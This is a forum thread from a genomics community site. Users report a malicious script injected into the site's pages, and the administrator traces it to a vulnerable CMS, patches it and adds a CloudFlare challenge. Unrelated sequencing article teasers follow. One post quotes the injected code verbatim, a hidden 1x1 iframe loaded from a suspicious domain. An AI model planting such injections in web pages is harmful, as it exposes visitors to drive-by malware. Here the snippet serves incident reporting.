    script injection : seqanswers security Q?

    Just checking on this.

    Is this legit? If it's not, are others seeing this too?

    When I load seqanswers.com ; the first html is a request for a script from


    Example:
    <script>document.write("<iframe width='1' height='1' src='http://xrrkp.yourrevolution.xyz:9449/mirror.shtml?boom=78825&foul=ashamed&close=9014&listen=49237&peril=queer&snarl=encourage&monday=60544&quiver=86886&build=42380' scrolling='' frameborder='0'></iframe>")</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html dir="ltr" lang="en" xmlns="http://www.w3.org/1999/xhtml">

    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="0" />

    This is blocked by my local antivirus software.

    The domain http://www.domainiq.com/domain?yourrevolution.xyz
    was registered 9 hours ago.

    Is there something fishy going on?

    Edit:

    Now is trying to load from http://pkpgk.yourspin.xyz:32551
    Is anybody else getting this? According to http://www.domainiq.com/domain?yourspin.xyz , Max Vlapet registered it 10 hours ago.

    I know ad companies use pop-up domains to bypass adblockers, but this looks very fishy.

    Can others "view source" and seqanswers and confirm if this is specific to seqanswers.com ? Just check the first lines of text.

    I am getting this on both Chrome and Mozilla.

      your-trend.xzy is the same server (in Romania) ?

        Note the PHISH(?) injection at the top?

        I got this just now ...

        It's also loading from gvfwytmdxobu.tk , tk is not a supported top level domain; according to http://whois.icann.org/en/lookup?name=yqxjoksljg.cf ????

              Whew. Pretty easy cleanup. Culprit was an old ad server.

              Forums have been upgraded and using a new adserver that is (at least for now) free of exploits.

              Please verify that you're not seeing the previous problems, and let me know asap if you see any other weirdness.

              Sorry about that all!

                I'm not seeing the injected script.

                        Got it again. Turns out it wasn't the ad server. Not going to say what it is for now.

                            Upping the security level of cloudflare to prevent it again until I can upgrade the vulnerable component. Apologies for the 5 second delay.

                              Thanks to Richard Finney for notification and GenoMax for his rapid locating of both 1.) me and 2.) the likely exploit.

                              The version of the front page CMS I'm using had an exploit, which I have upgraded.

                              I'm going to leave the CloudFlare security challenge on through the weekend to stop further DDoS/overload attacks, I welcome feedback on how annoying it is.

                                From Collection to Sequencing: Why Sample Preparation and Preservation Define Sequencing Data
                                by SEQadmin2


                                Data variability is still an issue in sequencing technologies despite the advances in reproducibility and accuracy of these platforms. But the problem does not originate in the sequencing itself, but in the previous steps, before the sample reaches the sequencer.


                                The first step is collection, followed by preservation and sample preparation for analysis. Most scientists overlook those steps, but not being careful might just be skewing the experiment’s results.

                                Single-Cell Sequencing at an Inflection Point: Early Impacts of New Platforms and Emerging Trends
                                by SEQadmin2


                                With the launch of new single-cell sequencing platforms in 2026, the field stands at an exciting inflection point. This article surveys the most impactful advances in the field and discusses how they’re reshaping research in cancer, immunology, and beyond.


                                Introduction

                                Single-cell sequencing technologies have undergone remarkable advances over the past decade, transitioning from low-throughput experimental approaches to highly scalable platforms capable of...

                                Environmental Genomics in the Age of NGS: From Microbes to Conservation Strategies
                                by SEQadmin2

                                Studying ecosystems means dealing with complex, multi-species communities that are hard to observe at scale. This complexity, however, hides many important questions to be answered, from how biogeochemical cycles work and how climate change can affect species distribution to how conservation strategies can work best.


                                Genomics, particularly since the expansion of NGS, has transformed ecosystem ecology. By sequencing environmental DNA, we can now assess biodiversity without direct...
